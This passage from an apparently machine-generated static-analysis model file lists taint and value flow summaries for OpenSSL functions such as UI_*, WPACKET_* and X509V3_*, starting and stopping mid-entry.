"Argument[*0].Field[***index].Field[*hash]", "value", "dfc-generated"] + - ["", "", True, "TXT_DB_create_index", "(TXT_DB *,int,..(*)(..),OPENSSL_LH_HASHFUNC,OPENSSL_LH_COMPFUNC)", "", "Argument[4]", "Argument[*0].Field[***index].Field[*comp]", "value", "dfc-generated"] + - ["", "", True, "TXT_DB_insert", "(TXT_DB *,OPENSSL_STRING *)", "", "Argument[*1]", "Argument[*0].Field[**data].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "TXT_DB_insert", "(TXT_DB *,OPENSSL_STRING *)", "", "Argument[1]", "Argument[*0].Field[**data].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "TXT_DB_read", "(BIO *,int)", "", "Argument[1]", "ReturnValue[*].Field[**data].Field[***data]", "taint", "dfc-generated"] + - ["", "", True, "TXT_DB_read", "(BIO *,int)", "", "Argument[1]", "ReturnValue[*].Field[**data].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "TXT_DB_read", "(BIO *,int)", "", "Argument[1]", "ReturnValue[*].Field[*num_fields]", "value", "dfc-generated"] + - ["", "", True, "UI_add_error_string", "(UI *,const char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "UI_add_info_string", "(UI *,const char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "UI_add_input_boolean", "(UI *,const char *,const char *,const char *,const char *,int,char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "UI_add_input_string", "(UI *,const char *,int,char *,int,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "UI_add_user_data", "(UI *,void *)", "", "Argument[**1]", "Argument[*0].Field[***user_data]", "value", "dfc-generated"] + - ["", "", True, "UI_add_user_data", "(UI *,void *)", "", "Argument[*1]", "Argument[*0].Field[**user_data]", "value", "dfc-generated"] + - ["", "", True, "UI_add_user_data", "(UI *,void *)", "", "Argument[1]", "Argument[*0].Field[*user_data]", "value", "dfc-generated"] + - ["", "", True, "UI_add_verify_string", "(UI *,const char *,int,char *,int,int,const char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "UI_construct_prompt", "(UI *,const char *,const char *)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "UI_construct_prompt", "(UI *,const char *,const char *)", "", "Argument[*2]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "UI_construct_prompt", "(UI *,const char *,const char *)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "UI_construct_prompt", "(UI *,const char *,const char *)", "", "Argument[2]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "UI_create_method", "(const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "UI_create_method", "(const char *)", "", "Argument[0]", "ReturnValue[*].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "UI_dup_error_string", "(UI *,const char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "UI_dup_info_string", "(UI *,const char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "UI_dup_input_boolean", "(UI *,const char *,const char *,const char *,const char *,int,char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "UI_dup_input_string", "(UI *,const char *,int,char *,int,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "UI_dup_verify_string", "(UI *,const char *,int,char *,int,int,const char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "UI_get0_output_string", "(UI_STRING *)", "", "Argument[*0].Field[**out_string]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "UI_get0_output_string", "(UI_STRING *)", "", "Argument[*0].Field[*out_string]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "UI_get0_result_string", "(UI_STRING *)", "", "Argument[*0].Field[**result_buf]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "UI_get0_result_string", "(UI_STRING *)", "", "Argument[*0].Field[*result_buf]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "UI_get0_user_data", "(UI *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "UI_get0_user_data", "(UI *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "UI_get0_user_data", "(UI *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "UI_get_ex_data", "(const UI *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "UI_get_input_flags", "(UI_STRING *)", "", "Argument[*0].Field[*input_flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "UI_get_method", "(UI *)", "", "Argument[*0].Field[**meth]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "UI_get_method", "(UI *)", "", "Argument[*0].Field[*meth]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "UI_get_result_string_length", "(UI_STRING *)", "", "Argument[*0].Field[*result_len]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "UI_get_string_type", "(UI_STRING *)", "", "Argument[*0].Field[*type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "UI_method_get_closer", "(const UI_METHOD *)", "", "Argument[*0].Field[*ui_close_session]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "UI_method_get_data_destructor", "(const UI_METHOD *)", "", "Argument[*0].Field[*ui_destroy_data]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "UI_method_get_data_duplicator", "(const UI_METHOD *)", "", "Argument[*0].Field[*ui_duplicate_data]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "UI_method_get_ex_data", "(const UI_METHOD *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "UI_method_get_flusher", "(const UI_METHOD *)", "", "Argument[*0].Field[*ui_flush]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "UI_method_get_opener", "(const UI_METHOD *)", "", "Argument[*0].Field[*ui_open_session]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "UI_method_get_prompt_constructor", "(const UI_METHOD *)", "", "Argument[*0].Field[*ui_construct_prompt]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "UI_method_get_reader", "(const UI_METHOD *)", "", "Argument[*0].Field[*ui_read_string]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "UI_method_get_writer", "(const UI_METHOD *)", "", "Argument[*0].Field[*ui_write_string]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "UI_method_set_closer", "(UI_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*ui_close_session]", "value", "dfc-generated"] + - ["", "", True, "UI_method_set_data_duplicator", "(UI_METHOD *,..(*)(..),..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*ui_duplicate_data]", "value", "dfc-generated"] + - ["", "", True, "UI_method_set_data_duplicator", "(UI_METHOD *,..(*)(..),..(*)(..))", "", "Argument[2]", "Argument[*0].Field[*ui_destroy_data]", "value", "dfc-generated"] + - ["", "", True, "UI_method_set_flusher", "(UI_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*ui_flush]", "value", "dfc-generated"] + - ["", "", True, "UI_method_set_opener", "(UI_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*ui_open_session]", "value", "dfc-generated"] + - ["", "", True, "UI_method_set_prompt_constructor", "(UI_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*ui_construct_prompt]", "value", "dfc-generated"] + - ["", "", True, "UI_method_set_reader", "(UI_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*ui_read_string]", "value", "dfc-generated"] + - ["", "", True, "UI_method_set_writer", "(UI_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*ui_write_string]", "value", "dfc-generated"] + - ["", "", True, "UI_new_method", "(const UI_METHOD *)", "", "Argument[*0]", "ReturnValue[*].Field[**meth]", "value", "dfc-generated"] + - ["", "", True, "UI_new_method", "(const UI_METHOD *)", "", "Argument[0]", "ReturnValue[*].Field[*meth]", "value", "dfc-generated"] + - ["", "", True, "UI_set_method", "(UI *,const UI_METHOD *)", "", "Argument[*0].Field[**meth]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "UI_set_method", "(UI *,const UI_METHOD *)", "", "Argument[*0].Field[*meth]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "UI_set_method", "(UI *,const UI_METHOD *)", "", "Argument[*1]", "Argument[*0].Field[**meth]", "value", "dfc-generated"] + - ["", "", True, "UI_set_method", "(UI *,const UI_METHOD *)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "UI_set_method", "(UI *,const UI_METHOD *)", "", "Argument[1]", "Argument[*0].Field[*meth]", "value", "dfc-generated"] + - ["", "", True, "UI_set_method", "(UI *,const UI_METHOD *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "UI_set_result", "(UI *,UI_STRING *,const char *)", "", "Argument[*2]", "Argument[*1].Field[**result_buf]", "value", "dfc-generated"] + - ["", "", True, "UI_set_result", "(UI *,UI_STRING *,const char *)", "", "Argument[2]", "Argument[*1].Field[**result_buf]", "taint", "dfc-generated"] + - ["", "", True, "UI_set_result_ex", "(UI *,UI_STRING *,const char *,int)", "", "Argument[*2]", "Argument[*1].Field[**result_buf]", "value", "dfc-generated"] + - ["", "", True, "UI_set_result_ex", "(UI *,UI_STRING *,const char *,int)", "", "Argument[2]", "Argument[*1].Field[**result_buf]", "taint", "dfc-generated"] + - ["", "", True, "UI_set_result_ex", "(UI *,UI_STRING *,const char *,int)", "", "Argument[3]", "Argument[*1].Field[*result_len]", "value", "dfc-generated"] + - ["", "", True, "USERNOTICE_free", "(USERNOTICE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "USERNOTICE_free", "(USERNOTICE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "UTF8_getc", "(const unsigned char *,int,unsigned long *)", "", "Argument[*0]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "UTF8_getc", "(const unsigned char *,int,unsigned long *)", "", "Argument[0]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "UTF8_putc", "(unsigned char *,int,unsigned long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "UTF8_putc", "(unsigned char *,int,unsigned long)", "", "Argument[2]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "WHIRLPOOL", "(const void *,size_t,unsigned char *)", "", "Argument[*2]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "WHIRLPOOL", "(const void *,size_t,unsigned char *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "WHIRLPOOL_BitUpdate", "(WHIRLPOOL_CTX *,const void *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "WHIRLPOOL_BitUpdate", "(WHIRLPOOL_CTX *,const void *,size_t)", "", "Argument[1]", "Argument[*0].Field[*data]", "taint", "dfc-generated"] + - ["", "", True, "WHIRLPOOL_BitUpdate", "(WHIRLPOOL_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*bitlen]", "taint", "dfc-generated"] + - ["", "", True, "WHIRLPOOL_BitUpdate", "(WHIRLPOOL_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*bitoff]", "taint", "dfc-generated"] + - ["", "", True, "WHIRLPOOL_BitUpdate", "(WHIRLPOOL_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*data]", "taint", "dfc-generated"] + - ["", "", True, "WHIRLPOOL_Final", "(unsigned char *,WHIRLPOOL_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "WHIRLPOOL_Update", "(WHIRLPOOL_CTX *,const void *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "WHIRLPOOL_Update", "(WHIRLPOOL_CTX *,const void *,size_t)", "", "Argument[1]", "Argument[*0].Field[*data]", "taint", "dfc-generated"] + - ["", "", True, "WHIRLPOOL_Update", "(WHIRLPOOL_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*bitlen]", "taint", "dfc-generated"] + - ["", "", True, "WHIRLPOOL_Update", "(WHIRLPOOL_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*bitoff]", "taint", "dfc-generated"] + - ["", "", True, "WHIRLPOOL_Update", "(WHIRLPOOL_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*data]", "taint", "dfc-generated"] + - ["", "", True, "WPACKET_allocate_bytes", "(WPACKET *,size_t,unsigned char **)", "", "Argument[*2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "WPACKET_allocate_bytes", "(WPACKET *,size_t,unsigned char **)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "WPACKET_allocate_bytes", "(WPACKET *,size_t,unsigned char **)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "WPACKET_get_curr", "(WPACKET *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "WPACKET_get_curr", "(WPACKET *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "WPACKET_get_length", "(WPACKET *,size_t *)", "", "Argument[*0].Field[**subs].Field[*pwritten]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "WPACKET_get_length", "(WPACKET *,size_t *)", "", "Argument[*0].Field[*written]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "WPACKET_get_total_written", "(WPACKET *,size_t *)", "", "Argument[*0].Field[*written]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "WPACKET_init", "(WPACKET *,BUF_MEM *)", "", "Argument[1]", "Argument[*0].Field[*buf]", "value", "dfc-generated"] + - ["", "", True, "WPACKET_init_der", "(WPACKET *,unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**staticbuf]", "value", "dfc-generated"] + - ["", "", True, "WPACKET_init_der", "(WPACKET *,unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*staticbuf]", "value", "dfc-generated"] + - ["", "", True, "WPACKET_init_der", "(WPACKET *,unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*maxsize]", "value", "dfc-generated"] + - ["", "", True, "WPACKET_init_len", "(WPACKET *,BUF_MEM *,size_t)", "", "Argument[1]", "Argument[*0].Field[*buf]", "value", "dfc-generated"] + - ["", "", True, "WPACKET_init_null", "(WPACKET *,size_t)", "", "Argument[1]", "Argument[*0].Field[*maxsize]", "taint", "dfc-generated"] + - ["", "", True, "WPACKET_init_static_len", "(WPACKET *,unsigned char *,size_t,size_t)", "", "Argument[*1]", "Argument[*0].Field[**staticbuf]", "value", "dfc-generated"] + - ["", "", True, "WPACKET_init_static_len", "(WPACKET *,unsigned char *,size_t,size_t)", "", "Argument[1]", "Argument[*0].Field[*staticbuf]", "value", "dfc-generated"] + - ["", "", True, "WPACKET_init_static_len", "(WPACKET *,unsigned char *,size_t,size_t)", "", "Argument[2]", "Argument[*0].Field[*maxsize]", "value", "dfc-generated"] + - ["", "", True, "WPACKET_memcpy", "(WPACKET *,const void *,size_t)", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "WPACKET_memcpy", "(WPACKET *,const void *,size_t)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "WPACKET_memset", "(WPACKET *,int,size_t)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "WPACKET_put_bytes__", "(WPACKET *,uint64_t,size_t)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "WPACKET_quic_sub_allocate_bytes", "(WPACKET *,size_t,unsigned char **)", "", "Argument[*2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "WPACKET_quic_sub_allocate_bytes", "(WPACKET *,size_t,unsigned char **)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "WPACKET_quic_sub_allocate_bytes", "(WPACKET *,size_t,unsigned char **)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "WPACKET_reserve_bytes", "(WPACKET *,size_t,unsigned char **)", "", "Argument[*2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "WPACKET_reserve_bytes", "(WPACKET *,size_t,unsigned char **)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "WPACKET_reserve_bytes", "(WPACKET *,size_t,unsigned char **)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "WPACKET_set_flags", "(WPACKET *,unsigned int)", "", "Argument[1]", "Argument[*0].Field[**subs].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "WPACKET_set_max_size", "(WPACKET *,size_t)", "", "Argument[1]", "Argument[*0].Field[*maxsize]", "value", "dfc-generated"] + - ["", "", True, "WPACKET_start_sub_packet", "(WPACKET *)", "", "Argument[*0].Field[**subs]", "Argument[*0].Field[**subs].Field[**parent]", "value", "dfc-generated"] + - ["", "", True, "WPACKET_start_sub_packet", "(WPACKET *)", "", "Argument[*0].Field[*subs]", "Argument[*0].Field[**subs].Field[*parent]", "value", "dfc-generated"] + - ["", "", True, "WPACKET_start_sub_packet_len__", "(WPACKET *,size_t)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "WPACKET_sub_allocate_bytes__", "(WPACKET *,size_t,unsigned char **,size_t)", "", "Argument[*2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "WPACKET_sub_allocate_bytes__", "(WPACKET *,size_t,unsigned char **,size_t)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "WPACKET_sub_allocate_bytes__", "(WPACKET *,size_t,unsigned char **,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "WPACKET_sub_memcpy__", "(WPACKET *,const void *,size_t,size_t)", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "WPACKET_sub_memcpy__", "(WPACKET *,const void *,size_t,size_t)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "WPACKET_sub_reserve_bytes__", "(WPACKET *,size_t,unsigned char **,size_t)", "", "Argument[*2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "WPACKET_sub_reserve_bytes__", "(WPACKET *,size_t,unsigned char **,size_t)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "WPACKET_sub_reserve_bytes__", "(WPACKET *,size_t,unsigned char **,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_EXT_add_list", "(X509V3_EXT_METHOD *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_EXT_add_nconf_sk", "(CONF *,X509V3_CTX *,const char *,stack_st_X509_EXTENSION **)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_EXT_conf_nid", "(lhash_st_CONF_VALUE *,X509V3_CTX *,int,const char *)", "", "Argument[2]", "ReturnValue[*].Field[**object]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_EXT_conf_nid", "(lhash_st_CONF_VALUE *,X509V3_CTX *,int,const char *)", "", "Argument[2]", "ReturnValue[*].Field[*object]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_EXT_d2i", "(X509_EXTENSION *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509V3_EXT_d2i", "(X509_EXTENSION *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509V3_EXT_i2d", "(int,int,void *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "X509V3_EXT_i2d", "(int,int,void *)", "", "Argument[0]", "ReturnValue[*].Field[**object]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_EXT_i2d", "(int,int,void *)", "", "Argument[0]", "ReturnValue[*].Field[*object]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_EXT_nconf_nid", "(CONF *,X509V3_CTX *,int,const char *)", "", "Argument[2]", "ReturnValue[*].Field[**object]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_EXT_nconf_nid", "(CONF *,X509V3_CTX *,int,const char *)", "", "Argument[2]", "ReturnValue[*].Field[*object]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_EXT_nconf_nid", "(CONF *,X509V3_CTX *,int,const char *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_EXT_print", "(BIO *,X509_EXTENSION *,unsigned long,int)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "X509V3_add1_i2d", "(stack_st_X509_EXTENSION **,int,void *,int,unsigned long)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "X509V3_add1_i2d", "(stack_st_X509_EXTENSION **,int,void *,int,unsigned long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_add_value", "(const char *,const char *,stack_st_CONF_VALUE **)", "", "Argument[*0]", "Argument[**2].Field[***data].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "X509V3_add_value", "(const char *,const char *,stack_st_CONF_VALUE **)", "", "Argument[*0]", "Argument[**2].Field[**data].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "X509V3_add_value", "(const char *,const char *,stack_st_CONF_VALUE **)", "", "Argument[*1]", "Argument[**2].Field[***data].Field[**value]", "value", "dfc-generated"] + - ["", "", True, "X509V3_add_value", "(const char *,const char *,stack_st_CONF_VALUE **)", "", "Argument[*1]", "Argument[**2].Field[**data].Field[**value]", "value", "dfc-generated"] + - ["", "", True, "X509V3_add_value", "(const char *,const char *,stack_st_CONF_VALUE **)", "", "Argument[0]", "Argument[**2].Field[***data].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_add_value", "(const char *,const char *,stack_st_CONF_VALUE **)", "", "Argument[0]", "Argument[**2].Field[**data].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_add_value", "(const char *,const char *,stack_st_CONF_VALUE **)", "", "Argument[1]", "Argument[**2].Field[***data].Field[**value]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_add_value", "(const char *,const char *,stack_st_CONF_VALUE **)", "", "Argument[1]", "Argument[**2].Field[**data].Field[**value]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_add_value", "(const char *,const char *,stack_st_CONF_VALUE **)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_add_value_bool", "(const char *,int,stack_st_CONF_VALUE **)", "", "Argument[*0]", "Argument[**2].Field[***data].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "X509V3_add_value_bool", "(const char *,int,stack_st_CONF_VALUE **)", "", "Argument[*0]", "Argument[**2].Field[**data].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "X509V3_add_value_bool", "(const char *,int,stack_st_CONF_VALUE **)", "", "Argument[0]", "Argument[**2].Field[***data].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_add_value_bool", "(const char *,int,stack_st_CONF_VALUE **)", "", "Argument[0]", "Argument[**2].Field[**data].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_add_value_bool", "(const char *,int,stack_st_CONF_VALUE **)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_add_value_bool_nf", "(const char *,int,stack_st_CONF_VALUE **)", "", "Argument[*0]", "Argument[**2].Field[***data].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "X509V3_add_value_bool_nf", "(const char *,int,stack_st_CONF_VALUE **)", "", "Argument[*0]", "Argument[**2].Field[**data].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "X509V3_add_value_bool_nf", "(const char *,int,stack_st_CONF_VALUE **)", "", "Argument[0]", "Argument[**2].Field[***data].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_add_value_bool_nf", "(const char *,int,stack_st_CONF_VALUE **)", "", "Argument[0]", "Argument[**2].Field[**data].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_add_value_bool_nf", "(const char *,int,stack_st_CONF_VALUE **)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_add_value_int", "(const char *,const ASN1_INTEGER *,stack_st_CONF_VALUE **)", "", "Argument[*0]", "Argument[**2].Field[***data].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "X509V3_add_value_int", "(const char *,const ASN1_INTEGER *,stack_st_CONF_VALUE **)", "", "Argument[*0]", "Argument[**2].Field[**data].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "X509V3_add_value_int", "(const char *,const ASN1_INTEGER *,stack_st_CONF_VALUE **)", "", "Argument[0]", "Argument[**2].Field[***data].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_add_value_int", "(const char *,const ASN1_INTEGER *,stack_st_CONF_VALUE **)", "", "Argument[0]", "Argument[**2].Field[**data].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_add_value_int", "(const char *,const ASN1_INTEGER *,stack_st_CONF_VALUE **)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_add_value_uchar", "(const char *,const unsigned char *,stack_st_CONF_VALUE **)", "", "Argument[*0]", "Argument[**2].Field[***data].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "X509V3_add_value_uchar", "(const char *,const unsigned char *,stack_st_CONF_VALUE **)", "", "Argument[*0]", "Argument[**2].Field[**data].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "X509V3_add_value_uchar", "(const char *,const unsigned char *,stack_st_CONF_VALUE **)", "", "Argument[*1]", "Argument[**2].Field[***data].Field[**value]", "value", "dfc-generated"] + - ["", "", True, "X509V3_add_value_uchar", "(const char *,const unsigned char *,stack_st_CONF_VALUE **)", "", "Argument[*1]", "Argument[**2].Field[**data].Field[**value]", "value", "dfc-generated"] + - ["", "", True, "X509V3_add_value_uchar", "(const char *,const unsigned char *,stack_st_CONF_VALUE **)", "", "Argument[0]", "Argument[**2].Field[***data].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_add_value_uchar", "(const char *,const unsigned char *,stack_st_CONF_VALUE **)", "", "Argument[0]", "Argument[**2].Field[**data].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_add_value_uchar", "(const char *,const unsigned char *,stack_st_CONF_VALUE **)", "", "Argument[1]", "Argument[**2].Field[***data].Field[**value]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_add_value_uchar", "(const char *,const unsigned char *,stack_st_CONF_VALUE **)", "", "Argument[1]", "Argument[**2].Field[**data].Field[**value]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_add_value_uchar", "(const char *,const unsigned char *,stack_st_CONF_VALUE **)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_extensions_print", "(BIO *,const char *,const stack_st_X509_EXTENSION *,unsigned long,int)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "X509V3_get_d2i", "(const stack_st_X509_EXTENSION *,int,int *,int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_parse_list", "(const char *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509V3_parse_list", "(const char *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509V3_set_conf_lhash", "(X509V3_CTX *,lhash_st_CONF_VALUE *)", "", "Argument[*1]", "Argument[*0].Field[**db]", "value", "dfc-generated"] + - ["", "", True, "X509V3_set_conf_lhash", "(X509V3_CTX *,lhash_st_CONF_VALUE *)", "", "Argument[1]", "Argument[*0].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "X509V3_set_ctx", "(X509V3_CTX *,X509 *,X509 *,X509_REQ *,X509_CRL *,int)", "", "Argument[*1]", "Argument[*0].Field[**issuer_cert]", "value", "dfc-generated"] + - ["", "", True, "X509V3_set_ctx", "(X509V3_CTX *,X509 *,X509 *,X509_REQ *,X509_CRL *,int)", "", "Argument[*2]", "Argument[*0].Field[**subject_cert]", "value", "dfc-generated"] + - ["", "", True, "X509V3_set_ctx", "(X509V3_CTX *,X509 *,X509 *,X509_REQ *,X509_CRL *,int)", "", "Argument[*3]", "Argument[*0].Field[**subject_req]", "value", "dfc-generated"] + - ["", "", True, "X509V3_set_ctx", "(X509V3_CTX *,X509 *,X509 *,X509_REQ *,X509_CRL *,int)", "", "Argument[*4]", "Argument[*0].Field[**crl]", "value", "dfc-generated"] + - ["", "", True, "X509V3_set_ctx", "(X509V3_CTX *,X509 *,X509 *,X509_REQ *,X509_CRL *,int)", "", "Argument[1]", "Argument[*0].Field[*issuer_cert]", 